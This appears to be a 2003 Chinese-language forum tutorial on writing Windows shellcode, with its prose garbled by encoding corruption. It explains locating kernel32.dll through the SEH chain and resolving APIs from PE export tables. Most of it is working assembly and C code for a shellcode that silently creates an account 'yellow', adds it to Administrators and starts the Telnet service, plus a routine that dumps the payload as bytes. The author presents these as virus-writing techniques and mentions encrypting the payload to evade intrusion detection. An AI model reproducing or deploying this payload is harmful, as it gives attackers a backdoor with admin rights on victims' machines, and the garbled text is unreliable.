Éè¼ÆÒ»ÊéÖпÉÒÔµÃ֪ÿµ±´´½¨Ò»¸öÏß³Ì,ϵͳ¾ù»áΪÿ¸öÏ̷߳ÖÅäTEB(Thread Environment Block)
ÔÚWindows 9xÖб»³ÆÎªTIB(Thread Information Block),¶øÇÒTEBÓÀÔ¶·ÅÔÚfs¶ÎÑ¡ÔñÆ÷Ö¸¶¨µÄÊý¾Ý¶Î
µÄ0Æ«ÒÆ´¦.
----------------------------------- -----------------------------
ÔÙ¿´Ò»ÏÂTEBµÄ½á¹¹¶¨ÒåÄã¾Í»áÃ÷°×µÄ:
typedef struct _TIB
{
PEXCEPTION_REGISTRATION_RECORD pvExcept; // 00h Head of exception record list<=---×¢ÒâÕâ¸öÖ¸Õë³ÉÔ±
---------------------------------------------------------
PVOID pvStackUserTop; // 04h Top of user stack
PVOID pvStackUserBase; // 08h Base of user stack

union // 0Ch (NT/Win95 differences)
{
struct // Win95 fields
{
WORD pvTDB; // 0Ch TDB
WORD pvThunkSS; // 0Eh SS selector used for thunking to 16 bits
DWORD unknown1; // 10h
} WIN95;

struct // WinNT fields
{
PVOID SubSystemTib; // 0Ch
ULONG FiberData; // 10h
} WINNT;
} TIB_UNION1;

PVOID pvArbitrary; // 14h Available for application use
struct _tib *ptibSelf; // 18h Linear address of TIB structure

union // 1Ch (NT/Win95 differences)
{
struct // Win95 fields
{
WORD TIBFlags; // 1Ch
WORD Win16MutexCount; // 1Eh
DWORD DebugContext; // 20h
DWORD pCurrentPriority; // 24h
DWORD pvQueue; // 28h Message Queue selector
} WIN95;

struct // WinNT fields
{
DWORD unknown1; // 1Ch
DWORD processID; // 20h <=---×¢ÒâÕâ¸öºÍÏÂÃæÒ»¸ö³ÉÔ±
//-------------
DWORD threadID; // 24h <=---×¢ÒâÕâ¸ö³ÉÔ±
//-------------
DWORD unknown2; // 28h
} WINNT;
} TIB_UNION2;

PVOID* pvTLSArray; // 2Ch Thread Local Storage array

union // 30h (NT/Win95 differences)
{
struct // Win95 fields
{
PVOID* pProcess; // 30h Pointer to owning Process Database
} WIN95;
} TIB_UNION3;

} TIB, *PTIB;

¿´¼ûÁËÂð?TEBµÄµÚÒ»¸ö³ÉÔ±pvExceptÊÇÒì³£´¦ÀíÁ´Ê×Ö¸ÕëHead of exception record list,ËüÏà¶ÔÓÚ
TEBÊ×µØÖ·0x00Æ«ÒÆ´¦,¶øTEBÓÀÔ¶·ÅÔÚfs¶Î¼Ä´æÆ÷µÄ0x00Æ«ÒÆ´¦,Ò²¾ÍÊÇfs¶Î¼Ä´æÆ÷µÄ0x00Æ«ÒÆ´¦.
¿´µ½ÎÒÈÃÄãÁôÒâµÄÁíÁ½¸ö³ÉÔ±ÁËÂð?processID´æ´¢Á˵±Ç°Ïß³ÌÊô½ø³ÌµÄIDºÅ,threadID´æ´¢Á˵±Ç°Ïß³Ì
IDºÅ,ÕâÑùÎÒÃÇÓÖ¿ÉÒÔʵÏÖÁ½Windows APIÁË:
//MyAPI.c
#include <stdio.h>
#include <conio.h>
#include <windows.h>

__inline __declspec(naked)DWORD GetCurrentProcessId2(void)
{
__asm
{
mov eax,fs:[0x20]//¶ÁÈ¡TEBµÄprocessID³ÉÔ±ÄÚÈÝ,ͨ¹ýeax·µ»Ø
ret
}
}

__inline __declspec(naked)DWORD GetCurrentThreadId2(void)
{
__asm
{
mov eax,fs:[0x24]//¶ÁÈ¡TEBµÄthreadID³ÉÔ±ÄÚÈÝ,ͨ¹ýeax·µ»Ø
ret
}
}
//²âÊÔÒ»ÏÂ
void main(void)
{
printf("MY PID=%d\tAPI PID=%d\n",GetCurrentProcessId2(),GetCurrentProcessId());
printf("MY TID=%d\tAPI TID=%d\n",GetCurrentThreadId2(),GetCurrentThreadId());
getch();
}
³ÌÐòÊä³ö:
MY PID=1448 API PID=1448
MY TID=1204 API TID=1204

×¢Òâ,²»Í¬µÄ»úÆ÷,²»Í¬Ê±¿ÌÕâÀïÊä³öµÄÖµ¿ÉÄܲ»Ò»Ñù,µ«MY PIDºãµÈÓÚAPI PID,MY TIDºãµÈAPI TID.Ô½
À´Ô½ÓÐÒâ˼Á˰É!˵ÁËÕâô¶à,ÄÇôÕâЩÓë»ñµÃkernel32.dll»ùÖ·ÓÐʲô¹ØÏµÂð?²»Òª×ż±,¼ÌÐøÍùÏ¿´Äã
¾Í»áÃ÷°×µÄ!

2,ͨ¹ýÒì³£´¦Àíº¯ÊýÁ´±í²éÕÒkernel32.dll»ùµØÖ·

ÏÖÔÚÈÃÎÒÃÇÀ´¿´¿´Òì³£´¦ÀíµÄ˳Ðò,ËüÊÇÕâÑùµÄ:
µ±Ò»¸öÒì³£·¢Éúʱ,ϵͳ»á´Ófs:[0]´¦¶ÁÈ¡Òì³£´¦Àíº¯ÊýÁ´±íÊ×Ö¸Õë,¿ªÊ¼ÎÊËùÓÐÔÚÓ¦ÓóÌÐòÖÐ×¢²áµÄ
Òì³£´¦Àíº¯Êý,±ÈÈçÉÏÃæµÄ"³ý0Òì³£",ϵͳ»á°ÑÕâ¸öÒ쳣֪ͨÎÒÃǵÄÒì³£´¦Àíº¯Êý,º¯Êýʶ±ð³öÊÇ"³ý0Òì³£",
²¢¸øÓèÁË´¦Àí(Êä³öÁË"Can not Divide by Zero!"),²¢¸æËßϵͳ"ÎÒÒѾ­´¦Àí¹ýÁË,²»ÓÃÔÙÎÊÆäËüº¯ÊýÁË".
Èç¹ûÎÒÃǵĺ¯Êý²»´òËã´¦ÀíÕâ¸öÒì³£¿ÉÒÔ½»¸øÐֵܽڵãÖÐÒì³£´¦Àíº¯ÊýÖ¸ÕëÖ¸ÏòµÄÆäËüÒì³£´¦Àíº¯Êý
´¦Àí,Èç¹û³ÌÐòÖÐ×¢²áµÄÒì³£´¦Àí¾ù²»´¦ÀíÕâ¸öÒì³£,ÄÇôϵͳ½«°ÑËü·¢Ë͸øµ±Ç°µ÷ÊÔ¹¤¾ß,Èç¹ûÓ¦ÓóÌÐòµ±
ǰ²»´¦ÔÚµ÷ÊÔ״̬»òÊǵ÷ÊÔ¹¤¾ßÒ²²»´¦ÀíÕâ¸öÒì³£µÄ»°,ϵͳ½«°ÑËü·¢Ë͸økernel32µÄUnhandledExceptionFilter
º¯Êý½øÐд¦Àí,µ±È»ËüÊÇÓɳÌÐòÒì³£´¦ÀíÁ´×îºóÒ»¸ö½ÚµãµÄpfnHandler(²Î¿¼EXCEPTION_REGISTRATION_RECORD)
º¯ÊýÖ¸Õë³ÉÔ±Ö¸ÏòµÄ,¸Ã½ÚµãµÄpNext³ÉÔ±½«Ö¸Ïò0xffffffff.
¿´ÁËÕâô¶àÓеãÁé¸ÐÁËÂð?ÎÒÃÇÒѾ­ÓÐÁËkernel32.dllµÄÒ»¸öÒý³öº¯ÊýµÄµØÖ·ÁË,ÄѵÀ»¹ÕÒ²»³öËüµÄ»ùÖ·
Âð?¿´¿´ÏÂÃæµÄÕâ¸öС³ÌÐò°É!
/*
Ô­ÐÍ:unsigned int GetKernel32(void);
²ÎÊý:ÎÞ
·µ»ØÖµ:
º¯Êý×ÜÊÇÄÜ·µ»ØKernel32.dllµÄ»ùµØÖ·
˵Ã÷:¸ù¾ÝPE¿ÉÖ´ÐÐÎļþÌØÕ÷´ÓUnhandledExceptionFilterº¯ÊýµØÖ·ÏòÉÏÏßÐÔ²éÕÒ,ʹÓÃ__inlineÊÇΪÁËÓë
×îÖÕµÄShellCodeÈÚΪһÌå,ʹÓÃ__declspec(naked)ÊÇΪÁ˲»ÈñàÒëÆ÷×Ô×÷´ÏÃ÷Éú³ÉһЩ"·Ï»°",ÈÃËü
ÍêÈ«°´ÕÕÎÒÃÇ×Ô¼ºµÄAsmÓï¾äÀ´ÃèÊöº¯Êý.
*/ #include <stdio.h>
#include <conio.h>

__inline __declspec(naked) unsigned int GetKernel32()
{
__asm
{
push esi
push ecx
mov esi,fs:0
lodsd
GetExeceptionFilter:
cmp [eax],0xffffffff
je GetedExeceptionFilter//Èç¹ûµ½´ï×îºóÒ»¸ö½Úµã(ËüµÄpfnHandlerÖ¸ÏòUnhandledExceptionFilter)
mov eax,[eax]//·ñÔòÍùºó±éÀú,Ò»Ö±µ½×îºóÒ»¸ö½Úµã
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax+4]
FindMZ:
and eax,0xffff0000//¸ù¾ÝPEÖ´ÐÐÎļþÒÔ64k¶Ô½çµÄÌØÕ÷¼Ó¿ì²éÕÒËÙ¶È
cmp word ptr [eax],'ZM'//¸ù¾ÝPE¿ÉÖ´ÐÐÎļþÌØÕ÷²éÕÒKERNEL32.DLLµÄ»ùÖ·
jne MoveUp//Èç¹ûµ±Ç°µØÖ·²»·ûÈ«MZÍ·²¿ÌØÕ÷,ÔòÏòÉϲéÕÒ
mov ecx,[eax+0x3c]
add ecx,eax
cmp word ptr [ecx],'EP'//¸ù¾ÝPE¿ÉÖ´ÐÐÎļþÌØÕ÷²éÕÒKERNEL32.DLLµÄ»ùÖ·
je Found//Èç¹û·ûºÏMZ¼°PEÍ·²¿ÌØÕ÷,ÔòÈÏΪÒѾ­ÕÒµ½,²¢Í¨¹ýEax·µ»Ø¸øµ÷ÓÃÕß
MoveUp:
dec eax//×¼±¸Ö¸ÏòÏÂÒ»¸ö½çÆðʼµØÖ·
jmp FindMZ
Found:
pop ecx
pop esi
ret
}
}

void main(void)
{
printf("%0.8X\n",GetKernel32());
getch();
}


Íê³ÉÁ˱¾½ÚµÄѧϰÒÔºó,ÄãÓ¦¸ÃÕÆÎÕ³£ÓÃÓÚ±àд²¡¶¾ºÍShellCodeµÄ¼¸ÖÖ¼¼Êõ:
1,¸ù¾ÝPEÎļþ²éÕÒÒý³öº¯ÊýµØÖ·
2,¶¯Ì¬¼ÆËãKERNEL32.DLLµÄ»ùÖ·
3,¶¯Ì¬×°ÔØÐèÒªµÄÔËÐп⼰¶¯»ñµÃÐèÒªµÄWindows API(s)
ÔÚ×îºóÒ»½ÚÀïÎÒÃǽ«¶ÔÇ°ÃæËù·ÖÎöµÄ¼¼Êõ×öÒ»¸ö×ÛºÏÓ¦ÓÃ,дһ¸ö¼òµ¥µÄShellCode
--------------------------------------------------------------------------------------------
Èý,×ÛºÏÔËÓÃ
±¾½ÚÎÒÃǽ«×ÛºÏÇ°Ãæ·ÖÎöµÄ¼¼Êõ±àдһ¸ö¼òµ¥µÄͨÓÃShellCode,Õâ¸öShellCode½«Ê×ÏÈÔÚÔ¶³Ì»úÆ÷ÉÏн¨Ò»¸ö
Óû§,Óû§Ãûyellow,ÃÜÂëyellow,Èç¹ûÈç¹û¿ÉÄܽ«°Ñ¸ÃÓû§¼ÓÈëAdministratorsÓû§×é,Èç¹û¿ÉÄÜ»¹»á´ò¿ªTelnet
·þÎñ,ÇëÁôÒâÎҵıàÂë·ç¸ñ,ÕâÑù·ç¸ñ¶ÔÒÔºóµÄShellCode¹¦ÄÜÀ©³äÌṩºÜ´ó·½±ã.Ô´³ÌÐòÈçÏÂ:
/////////////////////////////////////////////////////////////////////////////////////////////// #include <stdio.h>
#include <conio.h>
#include <windows.h>
#include <winsock.h>
//¶¨ÒåAPI¼°DLLÃû³Æ¼°Æä´æ´¢Ë³Ðò,Á¼ºÃµÄ±àÂë·ç¸ñ¶ÔÓÚÒÔºóµÄ¿ª·¢»áÌṩºÜ´óµÄ·½±ã
#define APISTART 0
#define GETPROCADDRESS(APISTART+0)
#define LOADLIBRARY(APISTART+1)
#define EXITPROCESS(APISTART+2)
#define WINEXEC(APISTART+3)
#define KNLSTART(EXITPROCESS)
#define KNLEND(WINEXEC)
#define NKNLAPI(4)

#define WSOCKSTART(KNLEND+1)
#define SOCKET(WSOCKSTART+0)
#define BIND(WSOCKSTART+1)
#define CONNECT(WSOCKSTART+2)
#define ACCEPT(WSOCKSTART+3)
#define LISTEN(WSOCKSTART+4)
#define SEND(WSOCKSTART+5)
#define RECV(WSOCKSTART+6)
#define CLOSESOCKET(WSOCKSTART+7)
#define WSASTARTUP(WSOCKSTART+8)
#define WSACLEANUP(WSOCKSTART+9)
#define WSOCKEND(WSACLEANUP)
#define NWSOCKAPI(10)
//define NETAPI,RPCAPI......
#define NAPIS (NKNLAPI+NWSOCKAPI/*+NNETAPI+NRPCAPI+.......*/)

#define DLLSTART 0
#define KERNELDLL(DLLSTART+0)
#define WS2_32DLL(DLLSTART+1)
#define DLLEND (WS2_32DLL)
#define NDLLS2

#define COMMAND_START 0
#define COMMAND_ADDUSER (COMMAND_START+0)
#define COMMAND_SETUSERADMIN(COMMAND_START+1)
#define COMMAND_OPENTLNT (COMMAND_START+2)
#define COMMAND_END (COMMAND_OPENTLNT)
#define NCMD3
void ShellCodeFun(void)
{
DWORD ImageBase,IED,FunNameArray,PE,Count,flen,DLLS[NDLLS];
int i;
char *FuncName,*APINAMES[NAPIS],*DLLNAMES[NDLLS],*CMD[NCMD];
FARPROC API[NAPIS];
__asm
{//1,ÊÖ¹¤»ñµÃKERNEL32.DLL»ùÖ·,²¢»ñµÃLoadLibraryAºÍGetProcAddressº¯ÊýµØÖ·
push esi
push ecx
mov esi,fs:0
lodsd
GetExeceptionFilter:
cmp [eax],0xffffffff
je GetedExeceptionFilter
mov eax,[eax]
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax+4]
FindMZ:
and eax,0xffff0000
cmp word ptr [eax],'ZM'
jne MoveUp
mov ecx,[eax+0x3c]
add ecx,eax
cmp word ptr [ecx],'EP'
je FoundKNL
MoveUp:
dec eax
jmp FindMZ
FoundKNL:
pop ecx
pop esi
mov DLLS[KERNELDLL* type DWORD],eax
mov ImageBase,eax
call LGETPROCADDRESS
_emit 'G';
_emit 'e';
_emit 't';
_emit 'P';
_emit 'r';
_emit 'o';
_emit 'c';
_emit 'A';
_emit 'd';
_emit 'd';
_emit 'r';
_emit 'e';
_emit 's';
_emit 's';
_emit 0x00
LGETPROCADDRESS:
pop eax
mov APINAMES[GETPROCADDRESS * 4],eax
mov FuncName,eax
mov flen,0x0d
mov Count,0
call FindApi
mov API[GETPROCADDRESS *type FARPROC],eax
call LOADLIBRARYA
_emit 'L';
_emit 'o';
_emit 'a';
_emit 'd';
_emit 'L';
_emit 'i';
_emit 'b';
_emit 'r';
_emit 'a';
_emit 'r';
_emit 'y';
_emit 'A';
_emit 0x00
LOADLIBRARYA:
pop eax
mov APINAMES[LOADLIBRARY * 4],eax
mov FuncName,eax
mov flen,0x0b
mov Count,0
call FindApi
mov API[LOADLIBRARY * type FARPROC],eax
}
__asm
{
//2,ÌîдÐèÒªµÄDLLÃû³Æ,×¢ÒâÕâÀïºÍÉÏÃæ¶¨ÒåµÄºê˳ÐòÒªÒ»Ñù
call KERNEL32
_emit 'k';
_emit 'e';
_emit 'r';
_emit 'n';
_emit 'e';
_emit 'l';
_emit '3';
_emit '2';
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0x00
KERNEL32:
pop DLLNAMES[KERNELDLL*4]
call WS2_32
_emit 'w';
_emit 's';
_emit '2';
_emit '_';
_emit '3';
_emit '2';
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0x00
WS2_32:
pop DLLNAMES[WS2_32DLL * 4]
//3,ÌîдÆäËüÐèÒªµÄAPIÃû³Æ,×¢ÒâÕâÀïÒ²ÒªºÍÉÏÃæ¶¨ÒåºÍºê˳ÐòÒ»Ñù
call LEXITPROCESS//1
_emit 'E';
_emit 'x';
_emit 'i';
_emit 't';
_emit 'P';
_emit 'r';
_emit 'o';
_emit 'c';
_emit 'e';
_emit 's';
_emit 's';
_emit 0x00
LEXITPROCESS:
pop APINAMES[EXITPROCESS * 4]
call LWINEXEC//2
_emit 'W';
_emit 'i';
_emit 'n';
_emit 'E';
_emit 'x';
_emit 'e';
_emit 'c';
_emit 0x00
LWINEXEC:
pop APINAMES[WINEXEC * 4]
call LSOCKET//3
_emit 's';
_emit 'o';
_emit 'c';
_emit 'k';
_emit 'e';
_emit 't';
_emit 0x00
LSOCKET:
pop APINAMES[SOCKET * 4]
call LBIND//4
_emit 'b';
_emit 'i';
_emit 'n';
_emit 'd';
_emit 0x00
LBIND:
pop APINAMES[BIND * 4]
call LCONNECT
_emit 'c';
_emit 'o';
_emit 'n';
_emit 'n';
_emit 'e';
_emit 'c';
_emit 't';
_emit 0x00
LCONNECT:
pop APINAMES[CONNECT * 4]
call LACCEPT//5
_emit 'a';
_emit 'c';
_emit 'c';
_emit 'e';
_emit 'p';
_emit 't';
_emit 0x00
LACCEPT:
pop APINAMEScall LLISTEN//6
_emit 'l';
_emit 'i';
_emit 's';
_emit 't';
_emit 'e';
_emit 'n';
_emit 0x00
LLISTEN:
pop APINAMES[LISTEN * 4]
call LSEND//7
_emit 's';
_emit 'e';
_emit 'n';
_emit 'd';
_emit 0x00
LSEND:
pop APINAMES[SEND * 4]
call LRECV//8
_emit 'r';
_emit 'e';
_emit 'c';
_emit 'v';
_emit 0x00
LRECV:
pop APINAMES[RECV * 4]
call CLOSESOCKETL//9
_emit 'c';
_emit 'l';
_emit 'o';
_emit 's';
_emit 'e';
_emit 's';
_emit 'o';
_emit 'c';
_emit 'k';
_emit 'e';
_emit 't';
_emit 0x00
CLOSESOCKETL:
pop APINAMES[CLOSESOCKET * 4]
call WSASTARTUPL//10
_emit 'W';
_emit 'S';
_emit 'A';
_emit 'S';
_emit 't';
_emit 'a';
_emit 'r';
_emit 't';
_emit 'u';
_emit 'p';
_emit 0x00
WSASTARTUPL:
pop APINAMES[WSASTARTUP * 4]
call WSACLEANUPL//11
_emit 'W';
_emit 'S';
_emit 'A';
_emit 'C';
_emit 'l';
_emit 'e';
_emit 'a';
_emit 'n';
_emit 'u';
_emit 'p';
_emit 0x00
WSACLEANUPL:
pop APINAMES[WSACLEANUP * 4]
//nop;¿ÉÒÔÔÚÕâÀïÉèÖÃÒ»¸ö¶Ïµã²é¿´DLLNAMESºÍAPINAMESÊÇ·ñÌîÈëÁËÐèÒªµÄÄÚÈÝ

//Ìîд
}
//3,×°ÔØËùÓÐÐèÒªµÄDLL
for(i=DLLSTART;i<=DLLEND;i++)
{
DLLS=API[LOADLIBRARY](DLLNAMES);
}
//4,»ñÈ¡ËùÓÐÐèÒªµÄAPI
//4.1È¡µÃWindows Kernel API
for(i=KNLSTART;i<=KNLEND;i++)
{
API=API[GETPROCADDRESS](DLLS[KERNELDLL],APINAMES);
}
//4.2È¡µÃWindows Sockets API
for(i=WSOCKSTART;i<=WSOCKEND;i++)
{
API=API[GETPROCADDRESS](DLLS[WS2_32DLL],APINAMES);
}
//5,±àдShellCodeµÄ¹¦ÄÜʵÌ岿·Ö
__asm
{
call PUTCOMMAND_ADDUSER
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 'u'
_emit 's'
_emit 'e'
_emit 'r'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit '/'
_emit 'a'
_emit 'd'
_emit 'd'
_emit 0x00
PUTCOMMAND_ADDUSER:
pop CMD[COMMAND_ADDUSER * 4]
call PUTCOMMAND_SETUSERADMIN
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 'l'
_emit 'o'
_emit 'c'
_emit 'a'
_emit 'l'
_emit 'g'
_emit 'r'
_emit 'o'
_emit 'u'
_emit 'p'
_emit ' '
_emit 'A'
_emit 'd'
_emit 'm'
_emit 'i'
_emit 'n'
_emit 'i'
_emit 's'
_emit 't'
_emit 'r'
_emit 'a'
_emit 't'
_emit 'o'
_emit 'r'
_emit 's'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit '/'
_emit 'a'
_emit 'd'
_emit 'd'
_emit 0x00
PUTCOMMAND_SETUSERADMIN:
pop CMD[COMMAND_SETUSERADMIN*4]
call PUTCOMMAND_OPENTLNT
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 's'
_emit 't'
_emit 'a'
_emit 'r'
_emit 't'
_emit ' '
_emit 't'
_emit 'l'
_emit 'n'
_emit 't'
_emit 's'
_emit 'v'
_emit 'r'
_emit 0x00
PUTCOMMAND_OPENTLNT:
pop CMD[COMMAND_OPENTLNT* 4]
}
//__asm int 3//ÔÚRelease°æ±¾ÖÐʹÓöϵã
//6,Ö´ÐÐÃüÁîн¨Óû§,Èç¹ûȨÏÞ¹»¾Í½«Óû§¼ÓÈëAdministrators,ÔÙ¿ªÆô±ê×¼µÄTelnet·þÎñ
for(i=COMMAND_START;i<=COMMAND_END;i++)
API[WINEXEC](CMD,SW_HIDE);
/*
ÎÒÃÇÒѾ­ÒýÈëÁËһЩ³£ÓõÄKERNEL APIºÍWINSOCK API,¿ÉÒÔÔÚÕâÀï½øÐиüÉîÈëµÄ
¿ª·¢(±ÈÈçÎÒÃÇ¿ÉÒÔʹÓÃWinSock×Ô¼ºÊµÏÖÒ»¸öTelnet·þÎñ¶Ë).
*/ API[EXITPROCESS](0);//ʹÓÃExitProcessÀ´Í˳öShellCodeÒÔ¼õÉÙ´íÎó

__asm
{
/*
×Ó³ÌÐòFindApi,ÓÉÎÒÇ°Ãæ½²½âµÄGetFunctionByNameÐ޸ĵõ½
Èë¿Ú²ÎÊý:
ImageBaseLL»ùÖ·
FuncName:ÐèÒª²éÕÒµÄÒý³öº¯ÊýÃû
flen:Òý³öº¯ÊýÃû³¤¶È,ÔÚ²»»á³öÏÖÖØ¸´µÄÇé¿öÏ¿ÉÒÔ±ÈÒý³öº¯ÊýÃû¶ÌÒ»µã
Count:Òý³öº¯ÊýµØÖ·Ë÷ÒýÆðʼ,ͨ³£Ó¦¸Ã°ÑËüÉèΪ0.
³ö¿Ú²ÎÊý:
Èç¹û²éÕÒÔò³É¹¦Eax·µ»ØÓÐЧµÄº¯ÊýµØÖ·,·ñÔò·µ»Ø0
*/ FindApi:
mov eax,ImageBase
add eax,0x3c//Ö¸ÏòPEÍ·²¿Æ«ÒÆÖµe_lfanew
mov eax,[eax]//È¡µÃe_lfanewÖµ
add eax,ImageBase//Ö¸ÏòPE header
cmp [eax],0x00004550
jne NotFound//Èç¹ûImageBase¾ä±úÓдí
mov PE,eax
mov eax,[eax+0x78]
add eax,ImageBase//Ö¸ÏòIMAGE_EXPORT_DIRECTORY
mov [IED],eax
mov eax,[eax+0x20]
add eax,ImageBase
mov FunNameArray,eax//±£´æº¯ÊýÃû³ÆÖ¸ÕëÊý×éµÄÖ¸ÕëÖµ
mov ecx,[IED]
mov ecx,[ecx+0x14]//¸ù¾ÝÒý³öº¯Êý¸öÊýNumberOfFunctionsÉèÖÃ×î´ó²éÕÒ´ÎÊý
FindLoop:
push ecx//ʹÓÃÒ»¸öС¼¼ÇÉ,ʹÓóÌÐòÑ­»·¸ü¼òµ¥
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen//Öð¸ö×Ö·û±È½Ï,Èç¹ûÏàͬÔòΪÕÒµ½º¯Êý,×¢ÒâÕâÀïµÄecxÖµ
cld
rep cmpsb
jne FindNext//Èç¹ûµ±Ç°º¯Êý²»ÊÇÖ¸¶¨µÄº¯ÊýÔò²éÕÒÏÂÒ»¸ö
add esp,4//Èç¹û²éÕҳɹ¦,ÔòÇå³ýÓÃÓÚ¿ØÖÆÍâ²ãÑ­»·¶øÑ¹ÈëµÄEcx,×¼±¸·µ»Ø
mov eax,[IED]
mov eax,[eax+0x1c]
add eax,ImageBase//»ñµÃº¯ÊýµØÖ·±í
shl Count,2//¸ù¾Ýº¯ÊýË÷Òý¼ÆË㺯ÊýµØÖ·Ö¸Õë=º¯ÊýµØÖ·±í»ùÖ·+(º¯ÊýË÷Òý*4)
add eax,Count
mov eax,[eax]//»ñµÃº¯ÊýµØÖ·Ïà¶ÔÆ«ÒÆÁ¿
add eax,ImageBase//¼ÆË㺯ÊýÕæÊµµØÖ·,²¢Í¨¹ýEax·µ»Ø¸øµ÷ÓÃÕß
jmp Found
FindNext:
inc Count//¼Ç¼º¯ÊýË÷Òý
add [FunNameArray],4//ÏÂÒ»¸öº¯ÊýÃûÖ¸Õë
mov eax,FunNameArray
pop ecx//»Ö¸´Ñ¹ÈëµÄecx(NumberOfFunctions),½øÐмÆÊýÑ­»·
loop FindLoop//Èç¹ûecx²»Îª0ÔòµÝ¼õ²¢»Øµ½FindLoop,Íùºó²éÕÒ
NotFound:
xor eax,eax//Èç¹ûûÓÐÕÒµ½,Ôò·µ»Ø0
Found:
ret
//ShellCode½áÊø±êʶ·û
_emit '*'
_emit '*'
}
}

void AboutMe(void)
{
printf("\t++++++++++++++++++++++++++++++++++\n");
printf("\t+ ShellCode Demo! +\n");
printf("\t+ Code by yellow +\n");
printf("\t+ Date:2003-12-21 +\n");
printf("\t+ Email:yellow@safechina.net +\n");
printf("\t+ Home Page:www.safechina.net +\n");
printf("\t++++++++++++++++++++++++++++++++++\n");

}

void printsc(unsigned char *sc)
{
int x=0;
printf("unsigned char shellcode[]={");
while(1)
{
if ((*sc=='*')&&(*(sc+1)=='*')) break;
if(!(x++%10)) printf("\n\t");
printf("0x%0.2X,",*sc++);
}
printf("\n};\nTotal %d Bytes\r\n",x+1);
}

int main(void)
{
unsigned char *p=ShellCodeFun;
unsigned int k=0;
if(*p==0xe9)
{
k=*(unsigned int*)(++p);
(int)p+=k;
(int)p+=4;
}
printsc(p);
AboutMe();
getch();
}
///////////////////////////////////////////////////////////////////////////////////////////////// ×¢ÒâÎÒÔÚÕâÀïÎÒûÓÐÑÝʾShellCode¼ÓÃܼ¼Êõ,ÏÖÔÚµÄShellCode¼ÓÃÜ´ó¶¼¶¼xorÖ®ÀàµÄ*×÷,»ù±¾ÉϱȽϼòµ¥
,µ«ÎªÁËÌÓ±Ü"ÈëÇÖ¼ì²âϵͳ"µÄ²éɱ»¹ÊÇÓ¦¸ÃʹÓñȽϺõļÓÃÜ·½·¨,ÎÒÏëÒÔºó¿ÉÄÜ»áдһЩÏà¹ØµÄ¼¼ÊõÎÄÕ°É!

Ok!ÒѾ­ÑÝʾÁËÕâô¶à,ÎÒÏëÄãµÄÊÕ»ñÒ»¶¨²»Ð¡°É!Ë×»°ËµµÄºÃ"ʦ¸µÁì½øÃÅ,ÐÞÐÐÔÚ¸öÈË",ShellCode×î¹Ø¼üµÄ
¼¼ÊõÎÒÃÇÒѾ­ÕÆÎÕÁË,ÖÁÓÚÔõôȥʵÏÖÒ»¸ö¹¦ÄܷḻµÄShellCode¾Í¿´Äã×Ô¼ºµÄ¿ª·¢¼¼ÊõºÍ¾­ÑéÁË!
--------------------------------------------------------------------------------------------------

×îºó
µ±ÎÒ³õѧShellCode±àд¼¼Êõʱ,¶ÔÓÚûÓÐÄÜÈóõѧÕßÈëÃŵÄShellCode½Ì³Ì¿ÉÒԲο¼¶ø¸Ðµ½·³ÄÕ,ËùÒÔÔÚÎÒÍê³É
PEºÍKERNEL32µØÖ·»ñµÃ·½·¨Ñ§Ï°ºó,¾ÍÁ¢¿ÌдÁËÕâÆªÎÄÕÂ,Ï£Íû¶Ô¹ã´ó³õѧÕßÓÐËù°ïÖú!ÑÛ¿´¿ìÒªµ½Ê¥µ®½Ú,yellow
ÔÚÕâÀï³õ´ó¼ÒÊ¥µ®½Ú¿ìÀÖ,ÓÀÔ¶¿ªÐÄ,ÓÀÔ¶ÄêÇá!Ô¸ÖйúµÄ°²È«¼¼Êõ¸üÉÏÒ»²ãÂ¥!

4,²Î¿¼×ÊÁÏ.
<MSDN>
<Windows ºËÐıà³Ì>
<Windows 95ϵͳ³ÌÐòÉè¼Æ´ó°ÂÃØ>
<Win32Asm Programming>
c

TOP

Ò»¸öÍ·Ê®¸ö´ó£¡£¡£¡

TOP